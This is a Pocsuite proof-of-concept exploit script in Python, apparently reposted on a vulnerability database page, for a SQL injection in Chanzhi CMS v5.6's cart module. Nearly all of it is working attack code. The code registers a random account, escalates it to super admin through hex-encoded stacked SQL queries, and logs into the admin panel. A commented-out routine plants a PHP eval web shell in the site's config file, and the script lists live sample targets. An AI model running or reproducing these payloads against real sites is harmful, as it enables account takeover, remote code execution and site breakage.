#!/usr/bin/env python
# coding: utf-8
import re
import random
import string
import binascii
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
from pocsuite.lib.core.data import logger
from pocsuite.lib.core.enums import CUSTOM_LOGGING
class TestPOC(POCBase):
vulID = ''
version = '1'
author = 'Rice'
vulDate = '2017-01-14'
createDate = '2017-02-05'
updateDate = '2017-02-05'
references = ['http://www.seebug.org/vuldb/ssvid-92661']
name = '蝉知CMS v5.6 system/module/cart/control.php页面的add函数注入漏洞 POC'
appPowerLink = 'http://www.chanzhi.org'
appName = 'chanzhi'
appVersion = '5.6'
vulType = 'SQL injection'
desc = '''
蝉知开源版CMS v5.6 存在前台SQL注入漏洞。在cart模块的add方法中,count参数没有正确过滤,导致SQL注入。
通过SQL注入漏洞提升用户权限为admin,可登录后台。且在后台,结合SQL漏洞,通过写配置文件拿到shell。
PoC说明:
1. 默认表前缀为eps_
2. verify模块:通过延时注入来验证。
3. attack模块提升权限的步骤:注册新用户,利用SQL注入提升权限,登录后台。
4. attack模块写shell的步骤:利用SQL注入修改数据表中的配置,写入配置文件(需事先登录后台)。这部分代码默认注释掉。
5. SQL注入利用需要在登录状态。且SQL注入是在添加购物车的操作,需要事先cart add一次,才能触发SQL注入。
6. shell是写在配置文件中,不小心写错了整个网站基本崩掉
PoC执行结果说明:
1. 在蝉知demo中测试延时SQL注入成功。而可能因为站点进行特殊配置,导致管理员账号登录不了。
且因访问不了`/system/config/my.php`文件,导致写shell不成功。
2. 多数网上的蝉知站点配置不当,站点不可用,有的是限制登录或注册。
3. 为避免造成不好影响,get shell操作只在本地测试成功。
'''
samples = ['http://demo.chanzhi.org/', 'http://demo9.n1.objweb.com/www', 'http://inpay.petpsu.com/']
username = ""
password = "poctest"
def set_random_username(self):
self.username = "".join(random.sample(string.lowercase + string.uppercase, 6))
return True
def register(self):
reg_url = self.url + '/index.php/user-register.html'
# set the username
self.set_random_username()
data = {
"account" : self.username,
"realname" : self.username,
"email" : "%[email protected]" % self.username,
"password1" : self.password,
"password2" : self.password,
"company" : "",
"phone" : "",
"fingerprint" : ""
}
head = {
"Referer" : self.url,
"Origin" : self.url,
"X-Requested-With" : "XMLHttpRequest" # is needed
}
response = req.post(reg_url, data=data, headers=head)
if response.status_code == 200 and response.json().get("result", "") == "success" :
logger.log(CUSTOM_LOGGING.SUCCESS, "Register successfully. Username is %s and the password is %s" % (self.username, self.password))
self.cookiejar = response.cookies
return True
else:
logger.log(CUSTOM_LOGGING.WARNING, "Fail to register.")
return False
# privilge escalation
def esc_priv(self):
payload = "/index.php/cart-add-1-1;"
payload += "set%20@b=0x" + binascii.b2a_hex("update eps_user set admin='super' where account='%s';" %self.username) + ";"
payload += "prepare%20x%20from%20@b;"
payload += "execute%20x;"
payload += "select%201%20union%20select%201.json"
# Add the project to cart first.
req.get(self.url + '/index.php/cart-add-1-1.json', cookies=self.cookiejar)
vul_url = self.url + payload
response = req.get(vul_url, cookies=self.cookiejar)
if response.status_code == 200:
logger.log(CUSTOM_LOGGING.SUCCESS, "Escalate privilge successfully.")
return True
else:
logger.log(CUSTOM_LOGGING.WARNING, "Fail to escalate privilge.")
return False
def login_admin(self):
login_url = self.url + "/admin.php?m=user&f=login&t=html"
data = {
"account" : self.username,
"password" : self.password
}
head = {
"Origin" : self.url,
"X-Requested-With" : "XMLHttpRequest"
}
response = req.post(login_url, data=data, headers=head, cookies=self.cookiejar)
if response.status_code == 200 and response.json().get("result", "") == "success":
req.utils.add_dict_to_cookiejar(self.cookiejar, req.utils.dict_from_cookiejar(response.cookies))
logger.log(CUSTOM_LOGGING.SUCCESS, "Administrator login successfully.")
return True
else:
logger.log(CUSTOM_LOGGING.WARNING, "Fail to login as a administrator.")
return False
# get shell
def get_shell(self):
self.shell = "a']=1;@eval($_GET['cmd']);//" # limit length: 30
payload = "/index.php/cart-add-1-1;"
payload += "set%20@b=0x" + binascii.b2a_hex('update eps_config set lang="%s" where `key`= "mobileTemplate";' % self.shell) + ";"
payload += "prepare%20x%20from%20@b;"
payload += "execute%20x;"
payload += "select%201%20union%20select%201.json"
# Add the project to cart first.
req.get(self.url + '/index.php/cart-add-1-1.json', cookies=self.cookiejar)
# change config
vul_url = self.url + payload
response = req.get(vul_url, cookies=self.cookiejar)
if not response.status_code == 200:
logger.log(CUSTOM_LOGGING.WARNING, "Fail to change the config.")
return False
# write config (shell)
upgrade_url = self.url + "/admin.php?m=upgrade&f=processSQL"
data = {
"fromVersion" : "5_5"
}
head = {
"Origin" : self.url,
"X-Requested-With" : "XMLHttpRequest"
}
req.post(upgrade_url, data=data, headers=head, cookies=self.cookiejar)
# verify
self.shell_url = self.url + "system/config/my.php?cmd=echo%20poctest;"
response = req.get(self.shell_url)
if "poctest" in response.content:
return True
else:
return False
def _attack(self):
result = {}
if not self.register() or not self.esc_priv() or not self.login_admin():
return self.parse_attack(result)
result["AdminInfo"] = {}
result["AdminInfo"]["Username"] = self.username
result["AdminInfo"]["Password"] = self.password
# Get shell. It can only work in chanzhiCMS v5.6
'''
if self.get_shell():
result["ShellInfo"] = {}
result["ShellInfo"]["URL"] = self.shell_url
result["ShellInfo"]["Content"] = self.shell
'''
return self.parse_attack(result)
def _verify(self, verify=True):
result = {}
if not self.register():
return self.parse_attack(result)
vul_url = self.url + '/index.php/cart-add-1-(select%20sleep(5)).json'
try:
req.get(self.url + '/index.php/cart-add-1-1.json', cookies=self.cookiejar)
response = req.get(vul_url, timeout=5, cookies=self.cookiejar)
except req.exceptions.Timeout:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Payload'] = vul_url
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation